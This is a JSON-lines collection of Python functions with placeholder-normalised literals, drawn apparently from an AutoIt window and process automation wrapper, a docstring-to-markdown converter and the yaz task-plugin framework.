{"signature": "@api.check(<NUM_LIT:3>, \"<STR_LIT>\")<EOL>def win_get_handle(title, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinGetHandle(LPCWSTR(title), LPCWSTR(text))<EOL>return ret<EOL>", "docstring": ":param title:\n:param text:\n:return:", "id": "f5587:m13"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def win_get_handle_as_text(title, buf_size=<NUM_LIT:16>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>rec_text = create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_WinGetHandleAsText(LPCWSTR(title), LPCWSTR(text),<EOL>rec_text, INT(buf_size))<EOL>msg = rec_text.value<EOL>return msg<EOL>", "docstring": ":param title:\n:param text:\n:param buf_size:\n:return:", "id": "f5587:m14"}
{"signature": "def win_get_pos(title, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>rect = RECT()<EOL>res = AUTO_IT.AU3_WinGetPos(LPCWSTR(title), LPCWSTR(text), byref(rect))<EOL>if res == <NUM_LIT:1>:<EOL><INDENT>raise AutoItError(\"<STR_LIT>\")<EOL><DEDENT>return rect.left, rect.top, rect.right, rect.bottom<EOL>", "docstring": ":param title:\n:param text:\n:return:", "id": "f5587:m15"}
{"signature": "def win_get_pos_by_handle(handle):", "body": "rect = RECT()<EOL>res = AUTO_IT.AU3_WinGetPosByHandle(HWND(handle), byref(rect))<EOL>if res == <NUM_LIT:1>:<EOL><INDENT>raise AutoItError(\"<STR_LIT>\" % str(handle))<EOL><DEDENT>return rect.left, rect.top, rect.right, rect.bottom<EOL>", "docstring": ":param handle:\n:return:", "id": "f5587:m16"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\", unexpected_ret=(-<NUM_LIT:1>,))<EOL>def win_get_process(title, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>res = AUTO_IT.AU3_WinGetProcess(LPCWSTR(title), LPCWSTR(text))<EOL>return res<EOL>", "docstring": ":param title:\n:param text:\n:return:", "id": "f5587:m17"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\", unexpected_ret=(-<NUM_LIT:1>,))<EOL>def win_get_process_by_handle(handle):", "body": "res = AUTO_IT.AU3_WinGetProcessByHandle(HWND(handle))<EOL>return res<EOL>", "docstring": ":param handle:\n:return:", "id": "f5587:m18"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_get_state(title, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>res = AUTO_IT.AU3_WinGetState(LPCWSTR(title), LPCWSTR(text))<EOL>return res<EOL>", "docstring": "Retrieves the state of a given window.\n:param title:\n:param text:\n:return:\n1 = Window exists\n2 = Window is visible\n4 = Windows is enabled\n8 = Window is active\n16 = Window is minimized\n32 = Windows is maximized", "id": "f5587:m19"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_get_state_by_handle(handle):", "body": "res = AUTO_IT.AU3_WinGetStateByHandle(HWND(handle))<EOL>return res<EOL>", "docstring": ":param handle:\n:return:", "id": "f5587:m20"}
{"signature": "def win_get_text(title, buf_size=<NUM_LIT>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret_text = create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_WinGetText(LPCWSTR(title), LPCWSTR(text), ret_text,<EOL>INT(buf_size))<EOL>val = ret_text.value.rstrip()<EOL>return val<EOL>", "docstring": ":param title:\n:param text:\n:param buf_size:\n:return:", "id": "f5587:m21"}
{"signature": "def win_get_text_by_handle(handle, buf_size=<NUM_LIT>):", "body": "ret_text = create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_WinGetTextByHandle(HWND(handle), ret_text, INT(buf_size))<EOL>return ret_text.value.rstrip()<EOL>", "docstring": ":param handle:\n:return:", "id": "f5587:m22"}
{"signature": "def win_get_title(title, buf_size=<NUM_LIT>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret_text = create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_WinGetTitle(LPCWSTR(title), LPCWSTR(text), ret_text,<EOL>INT(buf_size))<EOL>val = ret_text.value.rstrip()<EOL>return val<EOL>", "docstring": ":param title:\n:param text:\n:return:", "id": "f5587:m23"}
{"signature": "def win_get_title_by_handle(handle, buf_size=<NUM_LIT>):", "body": "ret_text = create_unicode_buffer(buf_size)<EOL>AUTO_IT.AU3_WinGetTitleByHandle(HWND(handle), ret_text, INT(buf_size))<EOL>val = ret_text.value.rstrip()<EOL>return val<EOL>", "docstring": ":param handle:\n:param buf_size:\n:return:", "id": "f5587:m24"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_kill(title, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinKill(LPCWSTR(title), LPCWSTR(text))<EOL>return ret<EOL>", "docstring": ":param title:\n:param text:\n:return:", "id": "f5587:m25"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_kill_by_handle(handle):", "body": "ret = AUTO_IT.AU3_WinKillByHandle(HWND(handle))<EOL>return ret<EOL>", "docstring": ":param handle:\n:return:", "id": "f5587:m26"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_menu_select_item(title, *items, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>if not (<NUM_LIT:0> < len(items) < <NUM_LIT:8>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>f_items = [LPCWSTR(item) for item in items]<EOL>for i in xrange(<NUM_LIT:8> - len(f_items)):<EOL><INDENT>f_items.append(LPCWSTR(\"<STR_LIT>\"))<EOL><DEDENT>ret = AUTO_IT.AU3_WinMenuSelectItem(LPCWSTR(title), LPCWSTR(text),<EOL>*f_items)<EOL>return ret<EOL>", "docstring": "Usage:\n    win_menu_select_item(\"[CLASS:Notepad]\", \"\", u\"\u6587\u4ef6(&F)\", u\"\u9000\u51fa(&X)\")\n:param title:\n:param text:\n:param items:\n:return:", "id": "f5587:m27"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_menu_select_item_by_handle(handle, *items):", "body": "if not (<NUM_LIT:0> < len(items) < <NUM_LIT:8>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>f_items = [LPCWSTR(item) for item in items]<EOL>for i in xrange(<NUM_LIT:8> - len(f_items)):<EOL><INDENT>f_items.append(LPCWSTR(\"<STR_LIT>\"))<EOL><DEDENT>ret = AUTO_IT.AU3_WinMenuSelectItemByHandle(HWND(handle), *f_items)<EOL>return ret<EOL>", "docstring": ":param handle:\n:param items:\n:return:", "id": "f5587:m28"}
{"signature": "def win_minimize_all():", "body": "AUTO_IT.AU3_WinMinimizeAll()<EOL>", "docstring": ":return:", "id": "f5587:m29"}
{"signature": "def win_minimize_all_undo():", "body": "AUTO_IT.AU3_WinMinimizeAllUndo()<EOL>", "docstring": ":return:", "id": "f5587:m30"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_move(title, x, y, width=-<NUM_LIT:1>, height=-<NUM_LIT:1>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinMove(LPCWSTR(title), LPCWSTR(text), INT(x), INT(y),<EOL>INT(width), INT(height))<EOL>return ret<EOL>", "docstring": ":param title:\n:param text:\n:param x:\n:param y:\n:param width:\n:param height:\n:return:", "id": "f5587:m31"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_move_by_handle(handle, x, y, width=-<NUM_LIT:1>, height=-<NUM_LIT:1>):", "body": "ret = AUTO_IT.AU3_WinMoveByHandle(HWND(handle), INT(x), INT(y), INT(width),<EOL>INT(height))<EOL>return ret<EOL>", "docstring": ":param handle:\n:param x:\n:param y:\n:param width:\n:param height:\n:return:", "id": "f5587:m32"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_set_on_top(title, flag=<NUM_LIT:1>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinSetOnTop(LPCWSTR(title), LPCWSTR(text), INT(flag))<EOL>return ret<EOL>", "docstring": ":param title:\n:param flag: 1=set on top flag, 0 = remove on top flag\n:param kwargs:\n:return:", "id": "f5587:m33"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_set_on_top_by_handle(handle, flag=<NUM_LIT:1>):", "body": "ret = AUTO_IT.AU3_WinSetOnTopByHandle(HWND(handle), INT(flag))<EOL>return ret<EOL>", "docstring": ":param handle:\n:param flag:\n:return:", "id": "f5587:m34"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_set_state(title, flag=properties.SW_SHOW, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinSetState(LPCWSTR(title), LPCWSTR(text), INT(flag))<EOL>return ret<EOL>", "docstring": ":param title:\n:param flag: The \"show\" flag of the executed program:\n    SW_HIDE = Hide window\n    SW_SHOW = Shows a previously hidden window\n    SW_MINIMIZE = Minimize window\n    SW_MAXIMIZE = Maximize window\n    SW_RESTORE = Undoes a window minimization or maximization\n:param kwargs:\n:return:", "id": "f5587:m35"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_set_state_by_handle(handle, flag=properties.SW_SHOW):", "body": "ret = AUTO_IT.AU3_WinSetStateByHandle(HWND(handle), INT(flag))<EOL>return ret<EOL>", "docstring": ":param handle:\n:param flag:\n:return:", "id": "f5587:m36"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_set_title(title, new_title, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinSetTitle(LPCWSTR(title), LPCWSTR(text),<EOL>LPCWSTR(new_title))<EOL>return ret<EOL>", "docstring": ":param title:\n:param new_title:\n:param kwargs:\n:return:", "id": "f5587:m37"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_set_title_by_handle(handle, new_title):", "body": "ret = AUTO_IT.AU3_WinSetTitleByHandle(HWND(handle), LPCWSTR(new_title))<EOL>return ret<EOL>", "docstring": ":param handle:\n:param new_title:\n:return:", "id": "f5587:m38"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_set_trans(title, trans, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinSetTrans(LPCWSTR(title), LPCWSTR(text), INT(trans))<EOL>return ret<EOL>", "docstring": "Sets the transparency of a window.\n:param title:\n:param trans: A number in the range 0 - 255. The larger the number,\n    the more transparent the window will become.\n:param kwargs:\n:return:", "id": "f5587:m39"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_set_trans_by_handle(handle, trans):", "body": "ret = AUTO_IT.AU3_WinSetTransByHandle(HWND(handle), INT(trans))<EOL>return ret<EOL>", "docstring": ":param handle:\n:param trans:\n:return:", "id": "f5587:m40"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_wait(title, timeout=<NUM_LIT:0>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinWait(LPCWSTR(title), LPCWSTR(text), INT(timeout))<EOL>return ret<EOL>", "docstring": ":param title:\n:param timeout:\n:param kwargs:\n:return:", "id": "f5587:m41"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_wait_by_handle(handle, timeout):", "body": "ret = AUTO_IT.AU3_WinWaitByHandle(HWND(handle), INT(timeout))<EOL>return ret<EOL>", "docstring": ":param handle:\n:param timeout:\n:return:", "id": "f5587:m42"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_wait_active(title, timeout=<NUM_LIT:0>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinWaitActive(LPCWSTR(title), LPCWSTR(text),<EOL>INT(timeout))<EOL>return ret<EOL>", "docstring": ":param title:\n:param timeout:\n:param kwargs:\n:return:", "id": "f5587:m43"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_wait_active_by_handle(handle, timeout):", "body": "ret = AUTO_IT.AU3_WinWaitActiveByHandle(HWND(handle), INT(timeout))<EOL>return ret<EOL>", "docstring": ":param handle:\n:param timeout:\n:return:", "id": "f5587:m44"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_wait_close(title, timeout=<NUM_LIT:0>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinWaitClose(LPCWSTR(title), LPCWSTR(text), INT(timeout))<EOL>return ret<EOL>", "docstring": ":param title:\n:param timeout:\n:param kwargs:\n:return:", "id": "f5587:m45"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_wait_close_by_handle(handle, timeout):", "body": "ret = AUTO_IT.AU3_WinWaitCloseByHandle(HWND(handle), INT(timeout))<EOL>return ret<EOL>", "docstring": ":param handle:\n:param timeout:\n:return:", "id": "f5587:m46"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_wait_not_active(title, timeout=<NUM_LIT:0>, **kwargs):", "body": "text = kwargs.get(\"<STR_LIT:text>\", \"<STR_LIT>\")<EOL>ret = AUTO_IT.AU3_WinWaitNotActive(LPCWSTR(title), LPCWSTR(text),<EOL>INT(timeout))<EOL>return ret<EOL>", "docstring": ":param title:\n:param timeout:\n:param kwargs:\n:return:", "id": "f5587:m47"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def win_wait_not_active_by_handle(handle, timeout):", "body": "ret = AUTO_IT.AU3_WinWaitNotActiveByHandle(HWND(handle), INT(timeout))<EOL>return ret<EOL>", "docstring": ":param handle:\n:param timeout:\n:return:", "id": "f5587:m48"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def run(filename, work_dir=\"<STR_LIT>\", show_flag=Properties.SW_SHOWNORMAL):", "body": "ret = AUTO_IT.AU3_Run(LPCWSTR(filename), LPCWSTR(work_dir),<EOL>INT(show_flag))<EOL>return ret<EOL>", "docstring": ":param filename:\n:param work_dir:\n:param show_flag:\n:return:", "id": "f5589:m0"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def run_wait(filename, work_dir=\"<STR_LIT>\", show_flag=Properties.SW_SHOWNORMAL):", "body": "ret = AUTO_IT.AU3_RunWait(LPCWSTR(filename), LPCWSTR(work_dir),<EOL>INT(show_flag))<EOL>return ret<EOL>", "docstring": ":param filename:\n:param work_dir:\n:param show_flag:\n:return:", "id": "f5589:m1"}
{"signature": "def process_close(process):", "body": "ret = AUTO_IT.AU3_ProcessClose(LPCWSTR(process))<EOL>return ret<EOL>", "docstring": "Terminates a named process.", "id": "f5589:m2"}
{"signature": "def process_exists(process):", "body": "ret = AUTO_IT.AU3_ProcessExists(LPCWSTR(process))<EOL>return ret<EOL>", "docstring": ":param process:\n:return:", "id": "f5589:m3"}
{"signature": "def process_set_priority(process, priority):", "body": "ret = AUTO_IT.AU3_ProcessSetPriority(LPCWSTR(process), INT(priority))<EOL>if ret == <NUM_LIT:0>:<EOL><INDENT>if error() == <NUM_LIT:1>:<EOL><INDENT>raise AutoItError(\"<STR_LIT>\")<EOL><DEDENT>elif error() == <NUM_LIT:2>:<EOL><INDENT>raise AutoItError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Changes the priority of a process\n:param process: The name or PID of the process to check.\n:param priority:A flag which determines what priority to set\n    0 - Idle/Low\n    1 - Below Normal (Not supported on Windows 95/98/ME)\n    2 - Normal\n    3 - Above Normal (Not supported on Windows 95/98/ME)\n    4 - High\n    5 - Realtime (Use with caution, may make the system unstable)\n:return:", "id": "f5589:m4"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def process_wait(process, timeout=<NUM_LIT:0>):", "body": "ret = AUTO_IT.AU3_ProcessWait(LPCWSTR(process), INT(timeout))<EOL>return ret<EOL>", "docstring": "Pauses script execution until a given process exists.\n:param process:\n:param timeout:\n:return:", "id": "f5589:m5"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def process_wait_close(process, timeout=<NUM_LIT:0>):", "body": "ret = AUTO_IT.AU3_ProcessWaitClose(LPCWSTR(process), INT(timeout))<EOL>return ret<EOL>", "docstring": "Pauses script execution until a given process does not exist.\n:param process:\n:param timeout:\n:return:", "id": "f5589:m6"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def run_as(user, domain, password, filename, logon_flag=<NUM_LIT:1>, work_dir=\"<STR_LIT>\",<EOL>show_flag=Properties.SW_SHOWNORMAL):", "body": "ret = AUTO_IT.AU3_RunAs(<EOL>LPCWSTR(user), LPCWSTR(domain), LPCWSTR(password), INT(logon_flag),<EOL>LPCWSTR(filename), LPCWSTR(work_dir), INT(show_flag)<EOL>)<EOL>return ret<EOL>", "docstring": "Runs an external program.\n:param user: username The user name to use.\n:param domain: The domain name to use.\n:param password: The password to use.\n:param logon_flag: 0 = do not load the user profile, 1 = (default) load\n    the user profile, 2 = use for net credentials only\n:param filename: The name of the executable (EXE, BAT, COM, or PIF) to run.\n:param work_dir: The working directory.\n:param show_flag: The \"show\" flag of the executed program:\n    SW_HIDE = Hidden window\n    SW_MINIMIZE = Minimized window\n    SW_MAXIMIZE = Maximized window\n:return:", "id": "f5589:m7"}
{"signature": "@api.check(<NUM_LIT:1>, \"<STR_LIT>\")<EOL>def run_as_wait(user, domain, password, filename, logon_flag=<NUM_LIT:1>, work_dir=\"<STR_LIT>\",<EOL>show_flag=Properties.SW_SHOWNORMAL):", "body": "ret = AUTO_IT.AU3_RunAsWait(<EOL>LPCWSTR(user), LPCWSTR(domain), LPCWSTR(password), INT(logon_flag),<EOL>LPCWSTR(filename), LPCWSTR(work_dir), INT(show_flag)<EOL>)<EOL>return ret<EOL>", "docstring": "Runs an external program.\n:param user: username The user name to use.\n:param domain: The domain name to use.\n:param password: The password to use.\n:param logon_flag: 0 = do not load the user profile, 1 = (default) load\n    the user profile, 2 = use for net credentials only\n:param filename: The name of the executable (EXE, BAT, COM, or PIF) to run.\n:param work_dir: The working directory.\n:param show_flag: The \"show\" flag of the executed program:\n    SW_HIDE = Hidden window\n    SW_MINIMIZE = Minimized window\n    SW_MAXIMIZE = Maximized window\n:return:", "id": "f5589:m8"}
{"signature": "@api.check(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>def shutdown(code):", "body": "ret = AUTO_IT.AU3_Shutdown(INT(code))<EOL>return ret<EOL>", "docstring": ":param code: The shutdown code is a combination of the following values:\n    0 = Logoff\n    1 = Shutdown\n    2 = Reboot\n    4 = Force\n    8 = Power down\n:return:", "id": "f5589:m9"}
{"signature": "def unindent(lines):", "body": "try:<EOL><INDENT>indent = min(len(line) - len(line.lstrip())<EOL>for line in lines if line)<EOL><DEDENT>except ValueError:<EOL><INDENT>return lines<EOL><DEDENT>else:<EOL><INDENT>return [line[indent:] for line in lines]<EOL><DEDENT>", "docstring": "Remove common indentation from string.\n\nUnlike doctrim there is no special treatment of the first line.", "id": "f5592:m0"}
{"signature": "def code_block(lines, language='<STR_LIT>'):", "body": "return ['<STR_LIT>' + language] + unindent(lines) + ['<STR_LIT>']<EOL>", "docstring": "Mark the code segment for syntax highlighting.", "id": "f5592:m1"}
{"signature": "def find_sections(lines):", "body": "sections = []<EOL>for line in lines:<EOL><INDENT>if is_heading(line):<EOL><INDENT>sections.append(get_heading(line))<EOL><DEDENT><DEDENT>return sections<EOL>", "docstring": "Find all section names and return a list with their names.", "id": "f5592:m7"}
{"signature": "def make_toc(sections, maxdepth=<NUM_LIT:0>):", "body": "if not sections:<EOL><INDENT>return []<EOL><DEDENT>outer = min(n for n,t in sections)<EOL>refs = []<EOL>for ind,sec in sections:<EOL><INDENT>if maxdepth and ind-outer+<NUM_LIT:1> > maxdepth:<EOL><INDENT>continue<EOL><DEDENT>ref = sec.lower()<EOL>ref = ref.replace('<STR_LIT>', '<STR_LIT>')<EOL>ref = ref.replace('<STR_LIT:U+0020>', '<STR_LIT:->')<EOL>ref = ref.replace('<STR_LIT:?>', '<STR_LIT>')<EOL>refs.append(\"<STR_LIT:U+0020>\"*(ind-outer) + \"<STR_LIT>\" % (sec, ref))<EOL><DEDENT>return refs<EOL>", "docstring": "Generate table of contents for array of section names.", "id": "f5592:m8"}
{"signature": "def doc2md(docstr, title, min_level=<NUM_LIT:1>, more_info=False, toc=True, maxdepth=<NUM_LIT:0>):", "body": "text = doctrim(docstr)<EOL>lines = text.split('<STR_LIT:\\n>')<EOL>sections = find_sections(lines)<EOL>if sections:<EOL><INDENT>level = min(n for n,t in sections) - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>level = <NUM_LIT:1><EOL><DEDENT>shiftlevel = <NUM_LIT:0><EOL>if level < min_level:<EOL><INDENT>shiftlevel = min_level - level<EOL>level = min_level<EOL>sections = [(lev+shiftlevel, tit) for lev,tit in sections]<EOL><DEDENT>head = next((i for i, l in enumerate(lines) if is_heading(l)), <NUM_LIT:0>)<EOL>md = [<EOL>make_heading(level, title),<EOL>\"<STR_LIT>\",<EOL>] + lines[:head]<EOL>if toc:<EOL><INDENT>md += make_toc(sections, maxdepth)<EOL>md += ['<STR_LIT>']<EOL><DEDENT>md += _doc2md(lines[head:], shiftlevel)<EOL>if more_info:<EOL><INDENT>return (md, sections)<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT:\\n>\".join(md)<EOL><DEDENT>", "docstring": "Convert a docstring to a markdown text.", "id": "f5592:m10"}
{"signature": "def mod2md(module, title, title_api_section, toc=True, maxdepth=<NUM_LIT:0>):", "body": "docstr = module.__doc__<EOL>text = doctrim(docstr)<EOL>lines = text.split('<STR_LIT:\\n>')<EOL>sections = find_sections(lines)<EOL>if sections:<EOL><INDENT>level = min(n for n,t in sections) - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>level = <NUM_LIT:1><EOL><DEDENT>api_md = []<EOL>api_sec = []<EOL>if title_api_section and module.__all__:<EOL><INDENT>sections.append((level+<NUM_LIT:1>, title_api_section))<EOL>for name in module.__all__:<EOL><INDENT>api_sec.append((level+<NUM_LIT:2>, \"<STR_LIT>\" + name + \"<STR_LIT>\"))<EOL>api_md += ['<STR_LIT>', '<STR_LIT>']<EOL>entry = module.__dict__[name]<EOL>if entry.__doc__:<EOL><INDENT>md, sec = doc2md(entry.__doc__, \"<STR_LIT>\" + name + \"<STR_LIT>\",<EOL>min_level=level+<NUM_LIT:2>, more_info=True, toc=False)<EOL>api_sec += sec<EOL>api_md += md<EOL><DEDENT><DEDENT><DEDENT>sections += api_sec<EOL>head = next((i for i, l in enumerate(lines) if is_heading(l)), <NUM_LIT:0>)<EOL>md = [<EOL>make_heading(level, title),<EOL>\"<STR_LIT>\",<EOL>] + lines[:head]<EOL>if toc:<EOL><INDENT>md += make_toc(sections, maxdepth)<EOL>md += ['<STR_LIT>']<EOL><DEDENT>md += _doc2md(lines[head:])<EOL>md += [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>make_heading(level+<NUM_LIT:1>, title_api_section),<EOL>]<EOL>if toc:<EOL><INDENT>md += ['<STR_LIT>']<EOL>md += make_toc(api_sec, <NUM_LIT:1>)<EOL><DEDENT>md += api_md<EOL>return \"<STR_LIT:\\n>\".join(md)<EOL>", "docstring": "Generate markdown document from module, including API section.", "id": "f5592:m11"}
{"signature": "def long_description():", "body": "import argparse<EOL>parser = argparse.ArgumentParser()<EOL>parser.add_argument('<STR_LIT>', dest=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store_true>\", default=False)<EOL>args, sys.argv = parser.parse_known_args(sys.argv)<EOL>if args.doc:<EOL><INDENT>import doc2md, pypandoc<EOL>md = doc2md.doc2md(doc2md.__doc__, \"<STR_LIT>\", toc=False)<EOL>long_description = pypandoc.convert(md, '<STR_LIT>', format='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Generate .rst document for PyPi.", "id": "f5593:m0"}
{"signature": "@yaz.task<EOL><INDENT>def breakfast(self, message=\"<STR_LIT>\", shout: bool = False):<DEDENT>", "body": "return self.helper.output(message, shout)<EOL>", "docstring": "Say something in the morning", "id": "f5594:c1:m1"}
{"signature": "@yaz.task<EOL><INDENT>def lunch(self, message=\"<STR_LIT>\", shout: bool = False):<DEDENT>", "body": "return self.helper.output(message, shout)<EOL>", "docstring": "Say something in the afternoon", "id": "f5594:c1:m2"}
{"signature": "@yaz.task<EOL><INDENT>def dinner(self, message=\"<STR_LIT>\", shout: bool = False):<DEDENT>", "body": "return self.helper.output(message, shout)<EOL>", "docstring": "Say something in the evening", "id": "f5594:c1:m3"}
{"signature": "@yaz.task<EOL>def say(message: str = \"<STR_LIT>\"):", "body": "return message<EOL>", "docstring": "Print MESSAGE to the console", "id": "f5595:m0"}
{"signature": "def decorator(decorator_func):", "body": "assert callable(decorator_func), type(decorator_func)<EOL>def _decorator(func=None, **kwargs):<EOL><INDENT>assert func is None or callable(func), type(func)<EOL>if func:<EOL><INDENT>return decorator_func(func, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>def _decorator_helper(func):<EOL><INDENT>return decorator_func(func, **kwargs)<EOL><DEDENT>return _decorator_helper<EOL><DEDENT><DEDENT>return _decorator<EOL>", "docstring": "Allows a decorator to be called with or without keyword arguments.", "id": "f5598:m0"}
{"signature": "def get_task_tree(white_list=None):", "body": "assert white_list is None or isinstance(white_list, list), type(white_list)<EOL>if white_list is not None:<EOL><INDENT>white_list = set(item if isinstance(item, str) else item.__qualname__ for item in white_list)<EOL><DEDENT>tree = dict((task.qualified_name, task)<EOL>for task<EOL>in _task_list.values()<EOL>if white_list is None or task.qualified_name in white_list)<EOL>plugins = get_plugin_list()<EOL>for plugin in [plugin for plugin in plugins.values() if white_list is None or plugin.__qualname__ in white_list]:<EOL><INDENT>tasks = [func<EOL>for _, func<EOL>in inspect.getmembers(plugin)<EOL>if inspect.isfunction(func) and hasattr(func, \"<STR_LIT>\")]<EOL>if len(tasks) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>node = tree<EOL>for name in plugin.__qualname__.split(\"<STR_LIT:.>\"):<EOL><INDENT>if not name in node:<EOL><INDENT>node[name] = {}<EOL><DEDENT>node = node[name]<EOL><DEDENT>for func in tasks:<EOL><INDENT>logger.debug(\"<STR_LIT>\", func)<EOL>node[func.__name__] = Task(plugin_class=plugin, func=func, config=func.yaz_task_config)<EOL><DEDENT><DEDENT>return tree<EOL>", "docstring": "Returns a tree of Task instances\n\n    The tree is comprised of dictionaries containing strings for\n    keys and either dictionaries or Task instances for values.\n\n    When WHITE_LIST is given, only the tasks and plugins in this\n    list will become part of the task tree.  The WHITE_LIST may\n    contain either strings, corresponding to the task of plugin\n    __qualname__, or, preferable, the WHITE_LIST contains\n    links to the task function or plugin class instead.", "id": "f5601:m0"}
{"signature": "@decorator<EOL>def task(func, **config):", "body": "if func.__name__ == func.__qualname__:<EOL><INDENT>assert not func.__qualname__ in _task_list, \"<STR_LIT>\".format(func.__qualname__)<EOL>logger.debug(\"<STR_LIT>\", func)<EOL>_task_list[func.__qualname__] = Task(plugin_class=None, func=func, config=config)<EOL><DEDENT>else:<EOL><INDENT>func.yaz_task_config = config<EOL><DEDENT>return func<EOL>", "docstring": "Declare a function or method to be a Yaz task\n\n    @yaz.task\n    def talk(message: str = \"Hello World!\"):\n        return message\n\n    Or... group multiple tasks together\n\n    class Tools(yaz.Plugin):\n        @yaz.task\n        def say(self, message: str = \"Hello World!\"):\n            return message\n\n        @yaz.task(option__choices=[\"A\", \"B\", \"C\"])\n        def choose(self, option: str = \"A\"):\n            return option", "id": "f5601:m1"}
{"signature": "@property<EOL><INDENT>def plugin_documentation(self):<DEDENT>", "body": "return self.Documentation(inspect.getdoc(self.plugin_class))<EOL>", "docstring": "Returns documentation for the plugin class", "id": "f5601:c0:m1"}
{"signature": "@property<EOL><INDENT>def documentation(self):<DEDENT>", "body": "return self.Documentation(inspect.getdoc(self.func))<EOL>", "docstring": "Returns documentation for the task function", "id": "f5601:c0:m2"}
{"signature": "@property<EOL><INDENT>def qualified_name(self):<DEDENT>", "body": "return self.func.__qualname__<EOL>", "docstring": "Returns the __qualname__ of this Task", "id": "f5601:c0:m3"}
